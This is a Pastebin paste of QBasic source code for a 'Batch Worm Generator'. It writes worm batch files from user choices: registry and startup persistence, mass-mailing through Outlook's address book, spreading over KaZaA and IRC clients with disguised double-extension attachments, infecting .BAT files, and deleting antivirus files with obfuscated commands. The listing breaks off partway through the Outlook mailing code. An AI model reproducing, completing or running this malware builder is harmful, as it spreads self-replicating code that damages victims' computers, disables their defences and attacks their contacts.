API tools faq
paste
Guest User

Untitled

a guest
Jul 18th, 2018
71
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.45 KB | None | 0 0
raw download clone embed print report
  1. headline:
  2. CLS
  3. REM Chroniccommands
  4. REM Worm generator
  5. name$ = "BATCH WORM GENERATOR Beta(For beta tests only)"
  6. RANDOMIZE TIMER
  7. COLOR 1
  8. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  9. PRINT " + + + + + + + + "
  10. PRINT " + + + + "; name$; " + + + + "
  11. PRINT " + + + + + + + + "
  12. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  13. PRINT ""
  14. COLOR 7
  15. PRINT " WRITE WORM (1)"
  16. PRINT " END (2)"
  17. INPUT " Please choose: ", beginn
  18. IF beginn = 1 THEN GOTO VIRUSER
  19. IF beginn = 2 THEN GOTO End
  20. GOTO headline
  21. CLS
  22. COLOR 1
  23. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  24. PRINT " + + + + + + + + "
  25. PRINT " + + + + "; name$; " + + + + "
  26. PRINT " + + + + + + + + "
  27. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  28. PRINT ""
  29. COLOR 7
  30. INPUT " Name of the worm: ", virname$
  31. INPUT " Name of the Author: ", virautor$
  32. IF virautor$ = "SPTH" THEN GOTO SPTHVir
  33. IF virautor$ = "spth" THEN GOTO SPTHVir
  34. IF virautor$ = "Chroniccommand" THEN GOTO SPTHVir
  35. GOTO SPTHVirEnd
  36. SPTHVir:
  37. COLOR 5
  38. PRINT " Are you crazy??"
  39. COLOR 7
  40. SPTHVirEnd:
  41. INPUT " The main-filename of the virus (file.BAT): ", MyS$
  42. CLS
  43. COLOR 1
  44. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  45. PRINT " + + + + + + + + "
  46. PRINT " + + + + "; name$; " + + + + "
  47. PRINT " + + + + + + + + "
  48. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  49. PRINT ""
  50. COLOR 4
  51. PRINT " Activation of the worm:"
  52. COLOR 7
  53. DeuAutoSt = 0
  54. INPUT " Shall the worm copy to the german start-upfolder (Y/N): ", akt$
  55. IF akt$ = "Y" THEN DeuAutoSt = 1
  56. IF akt$ = "y" THEN DeuAutoSt = 1
  57. EngAutoSt = 0
  58. INPUT " Shall the worm copy to the english start-upfolder (Y/N): ", eas$
  59. IF eas$ = "Y" THEN EngAutoSt = 1
  60. IF eas$ = "y" THEN EngAutoSt = 1
  61. WinINI = 0
  62. INPUT " Shall the worm activate itself with the win.ini (Y/N): ", wini$
  63. IF wini$ = "Y" THEN WinINI = 1
  64. IF wini$ = "y" THEN WinINI = 1
  65. SysINI = 0
  66. INPUT " Shall the worm activate itself with the system.ini (Y/N): ", ssini$
  67. IF ssini$ = "Y" THEN SysINI = 1
  68. IF ssini$ = "y" THEN SysINI = 1
  69. regkey = 0
  70. INPUT " Shall the worm write itself to a registry key (Y/N): ", rek$
  71. IF rek$ = "Y" THEN regkey = 1
  72. IF rek$ = "y" THEN regkey = 1
  73. CLS
  74. COLOR 1
  75. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  76. PRINT " + + + + + + + + "
  77. PRINT " + + + + "; name$; " + + + + "
  78. PRINT " + + + + + + + + "
  79. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  80. PRINT ""
  81. COLOR 7
  82. COLOR 4
  83. PRINT " Internet Spreading:"
  84. COLOR 7
  85. Outlook = 0
  86. INPUT " Shall the worm spread with MS-Outlook (Y/N): ", msol$
  87. IF msol$ = "Y" THEN Outlook = 1
  88. IF msol$ = "y" THEN Outlook = 1
  89. IF Outlook = 1 THEN GOTO AuswahlOL
  90. GOTO AuswahlOLEnd
  91. AuswahlOL:
  92. INPUT " --> Which subject: ", OLSubject$
  93. INPUT " --> Which body: ", OLBody$
  94. INPUT " --> Which attachment (pics.BAT): ", OLAttachment$
  95. AuswahlOLEnd:
  96. kazza = 0
  97. INPUT " Shall the worm spread with KAZAA (Y/N): ", KazzaI$
  98. IF KazzaI$ = "Y" THEN kazza = 1
  99. IF KazzaI$ = "y" THEN kazza = 1
  100. IF kazza = 1 THEN GOTO Auswahlkazza
  101. GOTO AuswahlkazzaEnd
  102. Auswahlkazza:
  103. INPUT " --> Which (music-)filename (sound.mp3.BAT): ", kazzaattachment$
  104. AuswahlkazzaEnd:
  105.  
  106. mIRC = 0
  107. INPUT " Shall the worm spread with mIRC (Y/N): ", IRC$
  108. IF IRC$ = "Y" THEN mIRC = 1
  109. IF IRC$ = "y" THEN mIRC = 1
  110. IF mIRC = 1 THEN GOTO AuswahlmIRC
  111. GOTO AuswahlmIRCEnd
  112. AuswahlmIRC:
  113. INPUT " --> Which filename (funny.jpg.BAT): ", mIRCAttachment$
  114. AuswahlmIRCEnd:
  115. pirchb = 0
  116. INPUT " Shall the worm spread with pIRCh (Y/N): ", pircha$
  117. IF pircha$ = "Y" THEN pirchb = 1
  118. IF pircha$ = "y" THEN pirchb = 1
  119. IF pirchb = 0 THEN GOTO AuswahlpIRChEnd
  120. AuswahlpIRCh:
  121. INPUT " --> Which name of the file (lala.arv.BAT): ", pIRChAttachment$
  122. AuswahlpIRChEnd:
  123. vircB = 0
  124. INPUT " Shall the worm spread with Virc (Y/N): ", virca$
  125. IF virca$ = "Y" THEN vircB = 1
  126. IF virca$ = "y" THEN vircB = 1
  127. IF vircB = 0 THEN GOTO AuswahlVircEnd
  128. AuswahlVirc:
  129. INPUT " --> Which name of the file (love-me.bat): ", vircattachment$
  130. AuswahlVircEnd:
  131.  
  132. CLS
  133. COLOR 1
  134. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  135. PRINT " + + + + + + + + "
  136. PRINT " + + + + "; name$; " + + + + "
  137. PRINT " + + + + + + + + "
  138. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  139. PRINT ""
  140.  
  141. COLOR 4
  142. PRINT " Spreading inside a PC:"
  143. COLOR 7
  144. BatInfektionen:
  145. INPUT " Shall the worm infect all .BAT files (Y/N): ", BIF$
  146. BatDateienInf = 0
  147. IF BIF$ = "Y" THEN BatDateienInf = 1
  148. IF BIF$ = "y" THEN BatDateienInf = 1
  149. BatInfektionenEnd:
  150. INPUT " Shall the worm infect Windows-root (Y/N): ", WD$
  151. windir = 0
  152. IF WD$ = "Y" THEN windir = 1
  153. IF WD$ = "y" THEN windir = 1
  154. INPUT " Shall the worm copy onto the Desktop (Y/N): ", desk$
  155. Desktop = 0
  156. IF desk$ = "Y" THEN Desktop = 1
  157. IF desk$ = "y" THEN Desktop = 1
  158. INPUT " Shall the worm copy to a Disk (Y/N): ", Adisk$
  159. Diskette = 0
  160. IF Adisk$ = "Y" THEN Diskette = 1
  161. IF Adisk$ = "y" THEN Diskette = 1
  162. CLS
  163. COLOR 1
  164. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  165. PRINT " + + + + + + + + "
  166. PRINT " + + + + "; name$; " + + + + "
  167. PRINT " + + + + + + + + "
  168. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  169. PRINT ""
  170. COLOR 4
  171. PRINT " File dropping:"
  172. COLOR 7
  173. RegFileI = 0
  174. INPUT " Shall the worm drop to REG files (Y/N): ", RegFileInfection$
  175. IF RegFileInfection$ = "Y" THEN RegFileI = 1
  176. IF RegFileInfection$ = "y" THEN RegFileI = 1
  177. VBSFileI = 0
  178. INPUT " Shall the worm drop to VBS files (Y/N): ", VBSFileInfection$
  179. IF VBSFileInfection$ = "Y" THEN VBSFileI = 1
  180. IF VBSFileInfection$ = "y" THEN VBSFileI = 1
  181. JSFileI = 0
  182. INPUT " Shall the worm drop to JS files (Y/N): ", JSFileInfection$
  183. IF JSFileInfection$ = "Y" THEN JSFileI = 1
  184. IF JSFileInfection$ = "y" THEN JSFileI = 1
  185. IF JSFileI = 0 THEN GOTO JsNoInf
  186. OPEN "JS.BWG" FOR OUTPUT AS #3
  187. PRINT #3, "JS"
  188. CLOSE #3
  189. GOTO JsEndFileInf
  190. JsNoInf:
  191. OPEN "JS.BWG" FOR OUTPUT AS #3
  192. PRINT #3, "NS"
  193. CLOSE #3
  194. JsEndFileInf:
  195. PifFileI = 0
  196. INPUT " Shall the worm drop to PIF files (Y/N): ", PIFFileInfection$
  197. IF PIFFileInfection$ = "Y" THEN PifFileI = 1
  198. IF PIFFileInfection$ = "y" THEN PifFileI = 1
  199. LnkFileI = 0
  200. INPUT " Shall the worm drop to LNK files (Y/N): ", LnkFileInfection$
  201. IF LnkFileInfection$ = "Y" THEN LnkFileI = 1
  202. IF LnkFileInfection$ = "y" THEN LnkFileI = 1
  203. CLS
  204. COLOR 1
  205. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  206. PRINT " + + + + + + + + "
  207. PRINT " + + + + "; name$; " + + + + "
  208. PRINT " + + + + + + + + "
  209. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  210. PRINT ""
  211. COLOR 7
  212. COLOR 4
  213. PRINT " Anti AV Techniques:"
  214. COLOR 7
  215. fakeline = 0
  216. INPUT " Shall the worm-code include 1000 Fake Bytes (Y/N): ", fakelinesa$
  217. IF fakelinesa$ = "Y" THEN fakeline = 1
  218. IF fakelinesa$ = "y" THEN fakeline = 1
  219. INPUT " Shall the Worm delete some AV programs (Y/N): ", Dav$
  220. delAV = 0
  221. IF Dav$ = "Y" THEN delAV = 1
  222. IF Dav$ = "y" THEN delAV = 1
  223. CLS
  224. COLOR 1
  225. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  226. PRINT " + + + + + + + + "
  227. PRINT " + + + + "; name$; " + + + + "
  228. PRINT " + + + + + + + + "
  229. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  230. PRINT ""
  231. COLOR 4
  232. PRINT " Others:"
  233. COLOR 7
  234. poly = 0
  235. REM INPUT " Shall the worm use polymorphism (Y/N): ", ll$
  236. IF ll$ = "Y" THEN poly = 1
  237. IF ll$ = "y" THEN poly = 1
  238. IF poly = 1 THEN OPEN "poly.bwg" FOR OUTPUT AS #3
  239. IF poly = 1 THEN PRINT #3, "P"
  240. IF poly = 1 THEN CLOSE #3
  241. IF poly = 0 THEN OPEN "poly.bwg" FOR OUTPUT AS #3
  242. IF poly = 0 THEN PRINT #3, "N"
  243. IF poly = 0 THEN CLOSE #3
  244. INPUT " Shall the Worm write a message (Y/N): ", massag$
  245. mesg = 0
  246. IF massag$ = "Y" THEN mesg = 1
  247. IF massag$ = "y" THEN mesg = 1
  248. IF mesg = 1 THEN GOTO Wmsg
  249. GOTO WmsgEnd
  250. Wmsg:
  251. INPUT " --> Which message: ", msg$
  252. WmsgEnd:
  253. LogLauf = 0
  254. INPUT " Shall the worm create a logic hard drive (Y/N): ", ll$
  255. IF ll$ = "Y" THEN LogLauf = 1
  256. IF ll$ = "y" THEN LogLauf = 1
  257. UDF = 0
  258. INPUT " Shall the worm copy itself to a undeletable folder (Y/N): ", UDFa$
  259. IF UDFa$ = "Y" THEN UDF = 1
  260. IF UDFa$ = "y" THEN UDF = 1
  261. INPUT " Shall the worm include the EICAR-VIRUS-TEST-FILE (Y/N): ", eiTF$
  262. EICAR = 0
  263. IF eiTF$ = "Y" THEN EICAR = 1
  264. IF eiTF$ = "y" THEN EICAR = 1
  265. INPUT " press enter... ", a
  266. MakeWorm:
  267. CLS
  268. COLOR 1
  269. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  270. PRINT " + + + + + + + + "
  271. PRINT " + + + + "; name$; " + + + + "
  272. PRINT " + + + + + + + + "
  273. PRINT " + + + + + + + + + + + + + + + + + + + + + + + + + + + "
  274. PRINT ""
  275. COLOR 7
  276. OPEN "worm.txt" FOR OUTPUT AS #1
  277. AA$ = ""
  278. BB$ = ""
  279. CC$ = ""
  280. DD$ = ""
  281. EE$ = ""
  282. REM IF poly = 1 THEN AA$ = "%AAAA%"
  283. REM IF poly = 1 THEN BB$ = "%BBBB%"
  284. REM IF poly = 1 THEN CC$ = "%CCCC%"
  285. REM IF poly = 1 THEN DD$ = "%DDDD%"
  286. REM IF poly = 1 THEN EE$ = "%EEEE%"
  287. IF EICAR = 1 THEN GOTO EICARIN
  288. GOTO EICARINE
  289. EICARIN:
  290. PRINT #1, "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"; AA$
  291. PRINT #1, "cls"; AA$
  292. EICARINE:
  293. PRINT #1, "@echo off"; AA$
  294. PRINT #1, "REM Name: "; virname$; AA$
  295. PRINT #1, "REM Author: "; virautor$; AA$
  296. PRINT #1, "REM generated with "; name$; AA$
  297. PRINT #1, "ctty nul"; AA$
  298. IF fakeline = 1 THEN GOTO FakeLineB
  299. GOTO FakeLineBEnde
  300. FakeLineB:
  301. FLD = 0
  302. FLDA:
  303. FLC = 0
  304. DO WHILE FLC <= 100
  305. ran = INT(RND * 26) + 97
  306. a$ = CHR$(ran)
  307. B$ = B$ + a$
  308. FLC = FLC + 1
  309. LOOP
  310. FLC = 0
  311. B$ = B$ + AA$
  312. PRINT #1, B$
  313. B$ = ""
  314. FLD = FLD + 1
  315. IF FLD <= 10 THEN GOTO FLDA
  316. FakeLineBEnde:
  317. IF delAV = 1 THEN GOTO AVD
  318. GOTO AVDEnd
  319. AVD:
  320. rand = INT(RND * 3) + 1
  321. IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p"
  322. IF rand = 1 THEN delavA$ = "%A%ro"
  323. IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r"
  324. IF rand = 2 THEN delavA$ = "p%A%o"
  325. IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o"
  326. IF rand = 3 THEN delavA$ = "pr%A%"
  327. rand = INT(RND * 3) + 1
  328. IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g"
  329. IF rand = 1 THEN delavB$ = "%B%ra"
  330. IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r"
  331. IF rand = 2 THEN delavB$ = "g%B%a"
  332. IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a"
  333. IF rand = 3 THEN delavB$ = "gr%B%"
  334. delAV$ = delavA$ + delavB$
  335. PRINT #1, "del C:\"; delAV$; "~1\kasper~1\avp32.exe"; AA$
  336. rand = INT(RND * 3) + 1
  337. IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p"
  338. IF rand = 1 THEN delavA$ = "%A%ro"
  339. IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r"
  340. IF rand = 2 THEN delavA$ = "p%A%o"
  341. IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o"
  342. IF rand = 3 THEN delavA$ = "pr%A%"
  343. rand = INT(RND * 3) + 1
  344. IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g"
  345. IF rand = 1 THEN delavB$ = "%B%ra"
  346. IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r"
  347. IF rand = 2 THEN delavB$ = "g%B%a"
  348. IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a"
  349. IF rand = 3 THEN delavB$ = "gr%B%"
  350. delAV$ = delavA$ + delavB$
  351. PRINT #1, "del C:\"; delAV$; "~1\norton~1\*.exe"; AA$
  352. rand = INT(RND * 3) + 1
  353. IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p"
  354. IF rand = 1 THEN delavA$ = "%A%ro"
  355. IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r"
  356. IF rand = 2 THEN delavA$ = "p%A%o"
  357. IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o"
  358. IF rand = 3 THEN delavA$ = "pr%A%"
  359. rand = INT(RND * 3) + 1
  360. IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g"
  361. IF rand = 1 THEN delavB$ = "%B%ra"
  362. IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r"
  363. IF rand = 2 THEN delavB$ = "g%B%a"
  364. IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a"
  365. IF rand = 3 THEN delavB$ = "gr%B%"
  366. delAV$ = delavA$ + delavB$
  367. PRINT #1, "del C:\"; delAV$; "~1\trojan~1\tc.exe"; AA$
  368. rand = INT(RND * 3) + 1
  369. IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p"
  370. IF rand = 1 THEN delavA$ = "%A%ro"
  371. IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r"
  372. IF rand = 2 THEN delavA$ = "p%A%o"
  373. IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o"
  374. IF rand = 3 THEN delavA$ = "pr%A%"
  375. rand = INT(RND * 3) + 1
  376. IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g"
  377. IF rand = 1 THEN delavB$ = "%B%ra"
  378. IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r"
  379. IF rand = 2 THEN delavB$ = "g%B%a"
  380. IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a"
  381. IF rand = 3 THEN delavB$ = "gr%B%"
  382. delAV$ = delavA$ + delavB$ + "~1"
  383. PRINT #1, "del C:\"; delAV$; "\norton~1\s32integ.dll"; AA$
  384. rand = INT(RND * 3) + 1
  385. IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p"
  386. IF rand = 1 THEN delavA$ = "%A%ro"
  387. IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r"
  388. IF rand = 2 THEN delavA$ = "p%A%o"
  389. IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o"
  390. IF rand = 3 THEN delavA$ = "pr%A%"
  391. rand = INT(RND * 3) + 1
  392. IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g"
  393. IF rand = 1 THEN delavB$ = "%B%ra"
  394. IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r"
  395. IF rand = 2 THEN delavB$ = "g%B%a"
  396. IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a"
  397. IF rand = 3 THEN delavB$ = "gr%B%"
  398. delAV$ = delavA$ + delavB$
  399. PRINT #1, "del C:\"; delAV$; "\f-prot95\fpwm32.dll"; AA$
  400. rand = INT(RND * 3) + 1
  401. IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p"
  402. IF rand = 1 THEN delavA$ = "%A%ro"
  403. IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r"
  404. IF rand = 2 THEN delavA$ = "p%A%o"
  405. IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o"
  406. IF rand = 3 THEN delavA$ = "pr%A%"
  407. rand = INT(RND * 3) + 1
  408. IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g"
  409. IF rand = 1 THEN delavB$ = "%B%ra"
  410. IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r"
  411. IF rand = 2 THEN delavB$ = "g%B%a"
  412. IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a"
  413. IF rand = 3 THEN delavB$ = "gr%B%"
  414. delAV$ = delavA$ + delavB$
  415. PRINT #1, "del C:\"; delAV$; "~1\mcafee\scan.dat"
  416. rand = INT(RND * 3) + 1
  417. IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p"
  418. IF rand = 1 THEN delavA$ = "%A%ro"
  419. IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r"
  420. IF rand = 2 THEN delavA$ = "p%A%o"
  421. IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o"
  422. IF rand = 3 THEN delavA$ = "pr%A%"
  423. rand = INT(RND * 3) + 1
  424. IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g"
  425. IF rand = 1 THEN delavB$ = "%B%ra"
  426. IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r"
  427. IF rand = 2 THEN delavB$ = "g%B%a"
  428. IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a"
  429. IF rand = 3 THEN delavB$ = "gr%B%"
  430. delAV$ = delavA$ + delavB$
  431. PRINT #1, ""; AA$; "set avC=tbav"
  432. PRINT #1, "goto delavri"; AA$
  433. PRINT #1, ""; AA$; "set avC=ocem"
  434. PRINT #1, ":delavri"; AA$
  435. PRINT #1, "del C:\"; delAV$; "~1\%avC%\tbav.dat"; AA$
  436. rand = INT(RND * 3) + 1
  437. IF rand = 1 THEN PRINT #1, ""; AA$; "set A=p"
  438. IF rand = 1 THEN delavA$ = "%A%ro"
  439. IF rand = 2 THEN PRINT #1, ""; AA$; "set A=r"
  440. IF rand = 2 THEN delavA$ = "p%A%o"
  441. IF rand = 3 THEN PRINT #1, ""; AA$; "set A=o"
  442. IF rand = 3 THEN delavA$ = "pr%A%"
  443. rand = INT(RND * 3) + 1
  444. IF rand = 1 THEN PRINT #1, ""; AA$; "set B=g"
  445. IF rand = 1 THEN delavB$ = "%B%ra"
  446. IF rand = 2 THEN PRINT #1, ""; AA$; "set B=r"
  447. IF rand = 2 THEN delavB$ = "g%B%a"
  448. IF rand = 3 THEN PRINT #1, ""; AA$; "set B=a"
  449. IF rand = 3 THEN delavB$ = "gr%B%"
  450. delAV$ = delavA$ + delavB$
  451. PRINT #1, "del C:\"; delAV$; "~1\avpersonal\antivir.vdf"
  452. rand = INT(RND * 3) + 1
  453. IF rand = 1 THEN PRINT #1, ""; AA$; "set A=t"
  454. IF rand = 1 THEN delavA$ = "%A%ba"
  455. IF rand = 2 THEN PRINT #1, ""; AA$; "set A=b"
  456. IF rand = 2 THEN delavA$ = "t%A%a"
  457. IF rand = 3 THEN PRINT #1, ""; AA$; "set A=a"
  458. IF rand = 3 THEN delavA$ = "tb%A%"
  459. rand = INT(RND * 2) + 1
  460. IF rand = 1 THEN PRINT #1, ""; AA$; "set B=v"
  461. IF rand = 1 THEN delavB$ = "%B%w"
  462. IF rand = 2 THEN PRINT #1, ""; AA$; "set B=w"
  463. IF rand = 2 THEN delavB$ = "v%B%"
  464. delAV$ = delavA$ + delavB$ + "95"
  465. PRINT #1, "del C:\"; delAV$; "\tbscan.sig"; AA$
  466. AVDEnd:
  467. PRINT #1, "set a=s"; AA$
  468. PRINT #1, "set b=e"; AA$
  469. PRINT #1, "set c=t"; AA$
  470. PRINT #1, ""; AA$; "%a%%b%%c% MyS=%0"
  471. IF poly = 1 THEN AA$ = " %AAAA%"
  472. PRINT #1, "copy %MyS% "; MyS$; AA$
  473. PRINT #1, ""; AA$; "%a%%b%%c% MyS="; MyS$
  474. IF poly = 1 THEN CLOSE #1
  475. IF poly = 1 THEN SHELL "poly.exe"
  476. IF poly = 1 THEN OPEN "worm.txt" FOR APPEND AS #1
  477. PRINT #1, "copy my.bat "; MyS$; AA$
  478. PRINT #1, "del my.bat "; AA$
  479. CLOSE #1
  480. SHELL "include.exe"
  481. OPEN "worm.txt" FOR APPEND AS #1
  482. IF Outlook = 1 THEN GOTO ol
  483. GOTO OLend
  484. ol:
  485. ran = INT(RND * 26) + 97
  486. a$ = CHR$(ran)
  487. ran = INT(RND * 26) + 97
  488. B$ = CHR$(ran)
  489. ran = INT(RND * 26) + 97
  490. c$ = CHR$(ran)
  491. ran = INT(RND * 26) + 97
  492. d$ = CHR$(ran)
  493. ran = INT(RND * 26) + 97
  494. e$ = CHR$(ran)
  495. fina$ = a$ + B$ + c$ + d$ + e$ + ".vbs"
  496. PRINT #1, "copy "; MyS$; " C:\"; OLAttachment$; CC$
  497. PRINT #1, "copy "; MyS$; " C:\"; fina$; CC$
  498. vbswayp = INT(RND * 1) + 1
  499. IF vbswayp = 1 THEN GOTO VBSwaya
  500. IF vbswayp = 2 THEN GOTO vbswayb
  501. VBSwaya:
  502. mp = INT(RND * 2) + 1
  503. IF mp = 1 THEN PRINT #1, "echo Dim x > C:\"; fina$; CC$
  504. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayF=dim"
  505. IF mp = 2 THEN PRINT #1, "echo %VBSwayF% x > C:\"; fina$; CC$
  506. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayF="
  507. mp = INT(RND * 2) + 1
  508. IF mp = 1 THEN PRINT #1, "echo.on error resume next >> C:\"; fina$; CC$
  509. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayA=resume"
  510. IF mp = 2 THEN PRINT #1, "echo.on error %VBSwayA% next >> C:\"; fina$; CC$
  511. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayA="
  512. mp = INT(RND * 2) + 1
  513. IF mp = 1 THEN PRINT #1, "echo Set fso ="; CHR$(34); " Scripting.FileSystem.Object"; CHR$(34); " >> C:\"; fina$; CC$
  514. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayG=FileSystem"
  515. IF mp = 2 THEN PRINT #1, "echo Set fso ="; CHR$(34); " Scripting.%VBSwayG%.Object"; CHR$(34); " >> C:\"; fina$; CC$
  516. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayG="
  517. mp = INT(RND * 1) + 1
  518. rand = INT(RND * 3) + 1
  519. ran = INT(RND * 26) + 97
  520. a$ = CHR$(ran)
  521. ran = INT(RND * 26) + 97
  522. B$ = CHR$(ran)
  523. fsore$ = a$ + B$
  524. PRINT #1, "set vbsosf="; fsore$; CC$
  525. IF rand = 1 THEN PRINT #1, ""; CC$; "set vbsosf=f"
  526. IF rand = 1 THEN fso$ = "%vbsosf%so"
  527. IF rand = 2 THEN PRINT #1, ""; CC$; "set vbsosf=s"
  528. IF rand = 2 THEN fso$ = "f%vbsosf%o"
  529. IF rand = 3 THEN PRINT #1, ""; CC$; "set vbsosf=o"
  530. IF rand = 3 THEN fso$ = "fs%vbsosf%"
  531. IF mp = 1 THEN PRINT #1, "echo Set so=CreateObject("; fso$; ") >> C:\"; fina$; CC$
  532. PRINT #1, ""; CC$; "set vbsosf="
  533. mp = INT(RND * 2) + 1
  534. IF mp = 1 THEN PRINT #1, "echo Set ol=CreateObject("; CHR$(34); "Outlook.Application"; CHR$(34); ") >> C:\"; fina$; CC$
  535. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayI=Outlook"
  536. IF mp = 2 THEN PRINT #1, "echo Set ol=CreateObject("; CHR$(34); "%VBSwayI%.Application"; CHR$(34); ") >> C:\"; fina$; CC$
  537. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayI="
  538. mp = INT(RND * 2) + 1
  539. IF mp = 1 THEN PRINT #1, "echo Set out= WScript.CreateObject("; CHR$(34); "Outlook.Application"; CHR$(34); ") >> C:\"; fina$; CC$
  540. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayJ=WScript"
  541. IF mp = 2 THEN PRINT #1, "echo Set out=%VBSwayJ%.CreateObject("; CHR$(34); "Outlook.Application"; CHR$(34); ") >> C:\"; fina$; CC$
  542. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayJ="
  543. mp = INT(RND * 2) + 1
  544. IF mp = 1 THEN PRINT #1, "echo Set mapi = out.GetNameSpace("; CHR$(34); "MAPI"; CHR$(34); ") >> C:\"; fina$; CC$
  545. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayD=out"
  546. IF mp = 2 THEN PRINT #1, "echo Set mapi = %VBSwayD%.GetNameSpace("; CHR$(34); "MAPI"; CHR$(34); ") >> C:\"; fina$; CC$
  547. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayD="
  548. mp = INT(RND * 2) + 1
  549. IF mp = 1 THEN PRINT #1, "echo Set a = mapi.AddressLists(1) >> C:\"; fina$; CC$
  550. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayN=Lists"
  551. IF mp = 2 THEN PRINT #1, "echo Set a = mapi.Address%VBSwayN%(1) >> C:\"; fina$; CC$
  552. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayN="
  553. PRINT #1, "echo Set ae=a.AddressEntries >> C:\"; fina$; CC$
  554. mp = INT(RND * 2) + 1
  555. IF mp = 1 THEN PRINT #1, "echo For x=1 To ae.Count >> C:\"; fina$; CC$
  556. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayB=Count"
  557. IF mp = 2 THEN PRINT #1, "echo For x=1 To ae.%VBSwayB% >> C:\"; fina$; CC$
  558. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayB="
  559. mp = INT(RND * 2) + 1
  560. IF mp = 1 THEN PRINT #1, "echo Set Mail=ol.CreateItem(0) >> C:\"; fina$; CC$
  561. IF mp = 2 THEN PRINT #1, "echo Set ci=ol.CreateItem(0) >> C:\"; fina$; CC$
  562. IF mp = 2 THEN PRINT #1, "echo Set Mail=ci >> C:\"; fina$; CC$
  563. mp = INT(RND * 2) + 1
  564. IF mp = 1 THEN PRINT #1, "echo Mail.to=ol.GetNameSpace("; CHR$(34); "MAPI"; CHR$(34); ").AddressLists(1).AddressEntries(x) >> C:\"; fina$; CC$
  565. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayC=Name"
  566. IF mp = 2 THEN PRINT #1, "echo Mail.to=ol.Get%VBSwayC%Space("; CHR$(34); "MAPI"; CHR$(34); ").AddressLists(1).AddressEntries(x) >> C:\"; fina$; CC$
  567. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayC="
  568. mp = INT(RND * 2) + 1
  569. IF mp = 1 THEN PRINT #1, "echo Mail.Subject="; CHR$(34); OLSubject$; CHR$(34); " >> C:\"; fina$; CC$
  570. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayK=Mail"
  571. IF mp = 2 THEN PRINT #1, "echo %VBSwayK%.Subject="; CHR$(34); OLSubject$; CHR$(34); " >> C:\"; fina$; CC$
  572. IF mp = 2 THEN PRINT #1, ""; CC$; "set VBSwayK="
